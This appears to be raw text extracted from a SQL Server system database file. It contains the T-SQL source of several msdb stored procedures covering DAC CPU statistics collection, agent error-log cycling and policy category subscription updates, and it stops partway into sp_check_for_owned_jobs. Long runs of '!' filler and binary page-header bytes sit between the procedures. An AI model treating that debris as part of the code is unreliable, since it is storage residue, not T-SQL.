!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`^<mIFx0EY 18CREATE PROCEDURE [dbo].[sp_sysutility_mi_collect_dac_execution_statistics_internal]
AS
BEGIN
   DECLARE @current_collection_time datetimeoffset = SYSDATETIMEOFFSET();
   DECLARE @previous_collection_time datetimeoffset;
  
   -- At this point the session stats table should contain only rows from the prior collection time (or no 
   -- rows, in which case @previous_collection_time will be set to NULL). Retrieve the prior collection time. 
   SELECT TOP 1 @previous_collection_time = collection_time 
   FROM dbo.sysutility_mi_session_statistics_internal
   ORDER BY collection_time DESC; 

   -- Get a list of the DACs deployed on this instance.  In the sysdac_instances view, some of these values 
   -- are unindexed computed columns.  Store them in a temp table so that we get indexed retrieval by dbid 
   -- or db/instance name and stats on the columns we'll use as join columns. 
   CREATE TABLE #dacs (
      dac_instance_name sysname PRIMARY KEY, 
      database_name sysname UNIQUE, 
      database_id int UNIQUE, 
      date_created datetime, 
      [description] nvarchar(4000));
      
   INSERT INTO #dacs 
   SELECT DISTINCT 
      instance_name, 
      database_name, 
      DB_ID(database_name), 
      date_created, 
      [description]
   FROM dbo.sysdac_instances
   -- Filter out "orphaned" DACs that have had their database deleted or renamed
   WHERE DB_ID(database_name) IS NOT NULL;

   -- Step 1: Capture execution stats for all current sessions in DAC databases. Now this table should 
   -- hold two snapshots: one that we just inserted (referred to as the "current" data from here on), and 
   -- the immediately prior snapshot of the same data from ~15 seconds ago ("previous").  Note that we 
   -- include a dummy row with a fake spid number for any DACs that don't have any active sessions.  This 
   -- is because of a downstream requirement that we return a row for all DACs, even if there are no stats 
   -- to report for the DAC.  
   INSERT INTO dbo.sysutility_mi_session_statistics_internal 
      (collection_time, session_id, dac_instance_name, database_name, login_time, cumulative_cpu_ms)
   SELECT 
      @current_collection_time, 
      ISNULL (sp.spid, -10) AS session_id, 
      #dacs.dac_instance_name, 
      #dacs.database_name, 
      ISNULL (sp.login_time, GETDATE()) AS login_time, 
      ISNULL (SUM(sp.cpu), 0) AS cumulative_cpu_ms
   FROM #dacs 
   LEFT OUTER JOIN sys.sysprocesses AS sp ON #dacs.database_id = sp.[dbid]
   GROUP BY ISNULL (sp.spid, -10), #dacs.dac_instance_name, #dacs.database_name, ISNULL (sp.login_time, GETDATE()); 

   -- Step 2: If this is the first execution, set @prev_collection_time to @cur_collection_time. 
   -- This has the effect of generating stats that indicate no work done for all DACs.  This is 
   -- the best we can do on the first execution because we need to snapshots in order to calculate 
   -- correct resource consumption over a time interval.  We can't just return here, because we 
   -- need at least a "stub" row for each DAC, so they all DACs will appear in the UI if a DC 
   -- upload runs before our next collection time. 
   IF (@previous_collection_time IS NULL)
   BEGIN
      SET @previous_collection_time = @current_collection_time;
   END;

   -- Step 3: Determine the amount of new CPU time used by each DAC in the just-completed ~15 second interval 
   -- (this defines a CTE that is used in the following step). 
   WITH interval_dac_statistics AS (
      SELECT 
         #dacs.dac_instance_name, 
         -- Add up the approximate CPU time used by each session since the last execution of this proc. 
         -- The [current CPU] - [previous CPU] calculation for a session will return NULL if 
         -- [previous CPU] is NULL ([current CPU] should never be NULL).  Previous CPU might be 
         -- NULL if the session is new.  Previous CPU could also be NULL if an existing session 
         -- changed database context.  In either case, we will not charge any of the session's 
         -- CPU time to the database for this interval.  We will start charging any new session 
         -- CPU time to the session's current database on the next execution of this procedure, 
         -- assuming that the session doesn't change database context between now and then.  
         SUM (ISNULL (cur.cumulative_cpu_ms - prev.cumulative_cpu_ms, 0)) AS interval_cpu_time_ms, 
         #dacs.database_name, 
         #dacs.database_id, 
         #dacs.date_created, 
         #dacs.[description]
      FROM #dacs 
      LEFT OUTER JOIN dbo.sysutility_mi_session_statistics_internal AS cur   -- current snapshot, "right" side of time interval
         ON #dacs.dac_instance_name = cur.dac_instance_name AND cur.collection_time = @current_collection_time
      LEFT OUTER JOIN dbo.sysutility_mi_session_statistics_internal AS prev  -- previous snapshot, "left" side of time interval
         ON cur.dac_instance_name = prev.dac_instance_name AND prev.collection_time = @previous_collection_time 
            AND cur.session_id = prev.session_id AND cur.login_time = prev.login_time 
      GROUP BY #dacs.dac_instance_name, #dacs.database_name, #dacs.database_id, #dacs.date_created, #dacs.[description]
   )
   
   -- Step 4: Do an "upsert" to the staging table.  If the DAC is already represented in this table, we will 
   -- add our interval CPU time to that row's [lifetime_cpu_time_ms] value. If the DAC does not yet exist 
   -- in the staging table, we will insert a new row.  
   -- 
   -- A note about overflow risk for the [lifetime_cpu_time_ms] column (bigint).  A DAC that used 100% of 
   -- every CPU on a 500 processor machine 24 hours a day could run for more than half a million years without 
   -- overflowing this column.  
   MERGE [dbo].[sysutility_mi_dac_execution_statistics_internal] AS [target]
   USING interval_dac_statistics AS [source] 
      ON [source].dac_instance_name = [target].dac_instance_name 
         -- Filter out "orphaned" DACs that have had their database deleted or renamed
         AND DB_ID([target].database_name) IS NOT NULL 
   
   WHEN MATCHED THEN UPDATE 
      SET [target].lifetime_cpu_time_ms = ISNULL([target].lifetime_cpu_time_ms, 0) + [source].interval_cpu_time_ms, 
         [target].last_collection_time = @current_collection_time, 
         [target].first_collection_time = ISNULL ([target].first_collection_time, @previous_collection_time), 
         [target].database_name = [source].database_name, 
         [target].database_id = [source].database_id, 
         [target].date_created = [source].date_created, 
         [target].[description] = [source].[description] 
   
   WHEN NOT MATCHED BY TARGET THEN INSERT (  -- new DAC
      dac_instance_name, 
      first_collection_time, 
      last_collection_time, 
      last_upload_time, 
      lifetime_cpu_time_ms, 
      cpu_time_ms_at_last_upload, 
      database_name, 
      database_id, 
      date_created, 
      [description])
      VALUES (
         [source].dac_instance_name, 
         @previous_collection_time, 
         @current_collection_time, 
         @previous_collection_time, 
         [source].interval_cpu_time_ms, 
         0, 
         [source].database_name, 
         [source].database_id, 
         [source].date_created, 
         [source].[description])
   
   WHEN NOT MATCHED BY SOURCE THEN DELETE;   -- deleted or orphaned DAC

   -- Step 5: Delete the session stats from the previous collection time as we no longer need them (but keep the 
   -- current stats we just collected in Step 1; at the next collection time these will be the "previous" 
   -- stats that we'll use to calculate the stats for the next interval). 
   DELETE FROM dbo.sysutility_mi_session_statistics_internal WHERE collection_time != @current_collection_time;
END;
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`]<
IjԈ0xZ }8
CREATE PROCEDURE sp_cycle_agent_errorlog
AS
BEGIN
   exec sp_sqlagent_notify N'L'
END
0 tZ "
8CREATE PROCEDURE [dbo].[sp_syspolicy_update_policy_category_subscription] 
@policy_category_subscription_id int,
@target_type sysname = NULL,
@target_object sysname = NULL,
@policy_category sysname = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole'
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check
	END

	-- Turn [nullable] empty string parameters into NULLs
	IF @target_type = ''      SELECT @target_type = NULL
	IF @target_object = ''    SELECT @target_object = NULL
	IF @policy_category = ''  SELECT @policy_category = NULL

    IF(@target_type IS NOT NULL)
	BEGIN
		IF(LOWER(@target_type) <> 'database')
		BEGIN
			RAISERROR(34018,-1,-1,@target_type);
			RETURN(1)
		END
	END
	
	IF(@target_object IS NOT NULL AND NOT EXISTS(SELECT * FROM sys.databases WHERE name=@target_object))
	BEGIN
		RAISERROR(34019,-1,-1,@target_object);
		RETURN(1)
	END

    DECLARE @policy_category_id INT
    SET @policy_category_id = NULL
    BEGIN TRANSACTION 

    DECLARE @old_policy_category_id INT
    SET @old_policy_category_id = NULL

    IF ( (@policy_category IS NOT NULL) )
    BEGIN 
        IF NOT EXISTS (SELECT * from syspolicy_policy_categories WHERE name = @policy_category)
        BEGIN
            -- add a new policy category
            INSERT INTO syspolicy_policy_categories_internal(name) VALUES (@policy_category)
            SELECT @policy_category_id = SCOPE_IDENTITY()

            SELECT @old_policy_category_id = policy_category_id 
                FROM syspolicy_policy_category_subscriptions 
                WHERE policy_category_subscription_id = @policy_category_subscription_id 
        END
        ELSE
            SELECT @policy_category_id = policy_category_id FROM syspolicy_policy_categories WHERE name = @policy_category
    END
    
    DECLARE @group_usage_count INT
    SELECT @group_usage_count = COUNT(*) 
        FROM syspolicy_policy_category_subscriptions  
        WHERE policy_category_id = @old_policy_category_id

    SELECT @group_usage_count = @group_usage_count + COUNT(*) 
        FROM syspolicy_policies  
        WHERE policy_category_id = @old_policy_category_id

    UPDATE msdb.[dbo].[syspolicy_policy_category_subscriptions_internal] 
        SET
            target_type            = ISNULL(@target_type, target_type),
            target_object       = ISNULL(@target_object, target_object),
            policy_category_id        = ISNULL(@policy_category_id, policy_category_id)
        WHERE policy_category_subscription_id = @policy_category_subscription_id

    IF (@@ROWCOUNT = 0)
    BEGIN
        DECLARE @policy_category_subscription_id_as_char VARCHAR(36)
        SELECT @policy_category_subscription_id_as_char = CONVERT(VARCHAR(36), @policy_category_subscription_id)
        RAISERROR(14262, -1, -1, '@policy_category_subscription_id', @policy_category_subscription_id_as_char)
        ROLLBACK TRANSACTION
        RETURN(1) -- Failure
    END

    -- delete the old entry if it was used only by this policy
    DELETE syspolicy_policy_categories_internal WHERE 
        policy_category_id = @old_policy_category_id
        AND 1 = @group_usage_count

    COMMIT TRANSACTION
    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	_MHm0\@ 8CREATE PROCEDURE sp_check_for_owned_jobs
  @login_name sysname,
  @table_name sysname
AS
BEGIN
  SET NOCOUNT ON

  -- This procedure is called by sp_droplogin to check if the login being dropped
  -- still owns jobs.  The return value (the number of jobs owned) is passed back
  -- via the supplied table name [this cumbersome approach is necessary because
  -- sp_check_for_owned_jobs is invoked via an EXEC() and because we always want
